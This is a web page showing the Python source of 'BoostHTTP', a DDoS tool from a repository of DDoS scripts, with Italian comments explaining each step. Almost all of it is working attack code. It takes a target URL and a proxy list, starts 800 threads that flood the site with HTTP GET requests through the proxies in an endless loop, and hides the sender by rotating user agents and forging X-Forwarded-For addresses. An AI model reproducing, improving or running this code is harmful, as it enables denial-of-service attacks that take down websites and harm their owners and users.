Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/DDOS Scripts/L7/BoostHTTP.py
4607 views
1
#!/usr/bin/env python
2
#coding: utf8
3
##python BoostHTTP.py [WEBSITE] [LIST.TXT]
4
5
import sys
6
import random
7
import socket
8
import threading
9
import time
10
11
userAgents = ["Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36",
12
"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36",
13
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.9 Safari/536.5",
14
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.9 Safari/536.5",
15
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_0) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3",
16
"Mozilla/5.0 (Windows NT 5.1; rv:31.0) Gecko/20100101 Firefox/31.0",
17
"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20120101 Firefox/29.0",
18
"Mozilla/5.0 (X11; OpenBSD amd64; rv:28.0) Gecko/20100101 Firefox/28.0",
19
"Mozilla/5.0 (X11; Linux x86_64; rv:28.0) Gecko/20100101 Firefox/28.0",
20
"Mozilla/5.0 (Windows NT 6.1; rv:27.3) Gecko/20130101 Firefox/27.3",
21
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:25.0) Gecko/20100101 Firefox/25.0",
22
"Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:24.0) Gecko/20100101 Firefox/24.0",
23
"Mozilla/5.0 (Windows; U; MSIE 9.0; WIndows NT 9.0; en-US))",
24
"Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)",
25
"Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/4.0; InfoPath.2; SV1; .NET CLR 2.0.50727; WOW64)",
26
"Mozilla/5.0 (compatible; MSIE 10.0; Macintosh; Intel Mac OS X 10_7_3; Trident/6.0)",
27
"Opera/12.0(Windows NT 5.2;U;en)Presto/22.9.168 Version/12.00",
28
"Opera/9.80 (Windows NT 6.0) Presto/2.12.388 Version/12.14",
29
"Mozilla/5.0 (Windows NT 6.0; rv:2.0) Gecko/20100101 Firefox/4.0 Opera 12.14",
30
"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0) Opera 12.14",
31
"Opera/12.80 (Windows NT 5.1; U; en) Presto/2.10.289 Version/12.02",
32
"Opera/9.80 (Windows NT 6.1; U; es-ES) Presto/2.9.181 Version/12.00",
33
"Opera/9.80 (Windows NT 5.1; U; zh-sg) Presto/2.9.181 Version/12.00",
34
"Mozilla/5.0 (compatible; MSIE 9.0; Windows Phone OS 7.5; Trident/5.0; IEMobile/9.0)",
35
"HTC_Touch_3G Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 7.11)",
36
"Mozilla/4.0 (compatible; MSIE 7.0; Windows Phone OS 7.0; Trident/3.1; IEMobile/7.0; Nokia;N70)",
37
"Mozilla/5.0 (BlackBerry; U; BlackBerry 9900; en) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.1.0.346 Mobile Safari/534.11+",
38
"Mozilla/5.0 (BlackBerry; U; BlackBerry 9850; en-US) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.0.0.254 Mobile Safari/534.11+",
39
"Mozilla/5.0 (BlackBerry; U; BlackBerry 9850; en-US) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.0.0.115 Mobile Safari/534.11+",
40
"Mozilla/5.0 (BlackBerry; U; BlackBerry 9850; en) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.0.0.254 Mobile Safari/534.11+",
41
"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/535.7 (KHTML, like Gecko) Comodo_Dragon/16.1.1.0 Chrome/16.0.912.63 Safari/535.7",
42
"Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Comodo_Dragon/4.1.1.11 Chrome/4.1.249.1042 Safari/532.5",
43
"Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25",
44
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/537.13+ (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
45
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10",
46
"Mozilla/5.0 (iPad; CPU OS 5_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko ) Version/5.1 Mobile/9B176 Safari/7534.48.3",
47
"Mozilla/5.0 (Windows; U; Windows NT 6.1; tr-TR) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27",]
48
49
def randomIp():
50
random.seed()
51
result = str(random.randint(1, 254)) + '.' + str(random.randint(1, 254)) + '.'
52
result = result + str(random.randint(1, 254)) + '.' + str(random.randint(1, 254))
53
return result
54
55
def randomIpList():
56
random.seed()
57
res = ""
58
for ip in xrange(random.randint(2, 8)):
59
res = res + randomIp() + ", "
60
return res[0:len(res) - 2]
61
62
def randomUserAgent():
63
return random.choice(userAgents)
64
65
66
67
class attacco(threading.Thread):
68
def run(self):
69
# il thread si prende l'ID
70
current = x
71
72
# se l'ID è associabile ad un proxy, usa il proxy corrispondente
73
if current < len(listaproxy):
74
proxy = listaproxy[current].split(':')
75
else:
76
# altrimenti ne sceglie uno casuale
77
proxy = random.choice(listaproxy).split(':')
78
79
# composizione dell'header http
80
useragent = "User-Agent: " + randomUserAgent() + "\r\n"
81
forward = "X-Forwarded-For: " + randomIpList() + "\r\n"
82
83
httprequest = get_host + useragent + accept + forward + connection + "\r\n"
84
85
# questo ciclo fa aspettare che tutti i threads siano startati prima di cominciare
86
while nload:
87
time.sleep(1)
88
89
# ciclo infinito dell'attacco
90
while 1:
91
# try perché non vogliamo che un errore ci fermi il thread
92
try:
93
# dichiarazione del socket
94
a = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
95
96
# connessione al proxy
97
a.connect((proxy[0], int(proxy[1])))
98
99
# invio della richiesta http
100
a.send(httprequest)
101
102
# dopo aver inviato la prima richiesta http con successo
103
# c'è la possibilità che se ne possano inviare altre
104
# sulla stessa connessione grazie alla
105
# connessione keep-alive. visto che non c'è la certezza
106
# è meglio metterlo in un try tutto suo
107
try:
108
# invia la richiesta al massimo per altre 3 volte
109
# si è visto che è una scelta abbastanza ottimizzata
110
for i in xrange(3):
111
a.send(httprequest)
112
except:
113
# variabile al momento inutile, tanto per fargli fare
114
# qualcosa dentro l'except, probabilmente in futuro servirÃ
115
tts = 1
116
117
118
except:
119
# nel caso in cui durante la prima richiesta http avvenga un errore
120
# c'è la possibilità che il proxy non funzioni correttamente
121
# quindi si provvede a cambiare proxy
122
proxy = random.choice(listaproxy).split(':')
123
124
125
126
# grafica varia
127
print(" .----.BoosTHTTPv3.0 iPerFul DDoS for HTTP WebSite.----.")
128
print(" .----.Creator: TheRunixx & Huggye.----.")
129
130
# input del sito
131
url = sys.argv[1]
132
host_url = url.replace("http://", "").replace("https://", "").split('/')[0]
133
134
# qui viene caricata la lista proxy dal file proxy.txt
135
in_file = open(sys.argv[2],"r")
136
proxyf = in_file.read()
137
in_file.close()
138
139
# grazie al caro split() ora la lista è una lista :D
140
listaproxy = proxyf.split('\n')
141
142
# input del numero di threads
143
thread = 800
144
145
146
# dichiarazione di alcuni pezzi dell'header
147
get_host = "GET " + url + " HTTP/1.1\r\nHost: " + host_url + "\r\n"
148
accept = "Accept-Encoding: gzip, deflate\r\n"
149
150
# con "Connection: Keep-Alive, ecc..." è possibile, anche se non dovrebbe esserlo, inviare
151
# ai proxy più richieste http usando la stessa connessione
152
connection = "Connection: Keep-Alive, Persist\r\nProxy-Connection: keep-alive\r\n"
153
154
155
# nload (not loaded) è 1 quando i threads non sono ancora stati tutti avviati
156
# e diventa 0 quando il ciclo di avvio dei threads è finito
157
nload = 1
158
159
# x serve a dare "l'id" del thread
160
x = 0
161
162
# ciclo di avvio dei threads
163
for x in xrange(thread):
164
attacco().start()
165
time.sleep(0.000)
166
print "Thread " + str(x) + " started!"
167
168
print "The attack is running..."
169
# nload diventa 0 e i thread iniziano a lavorare
170
nload = 0
171
172
#ciclo nabbo in fondo
173
while not nload:
174
time.sleep(1)
175
176
177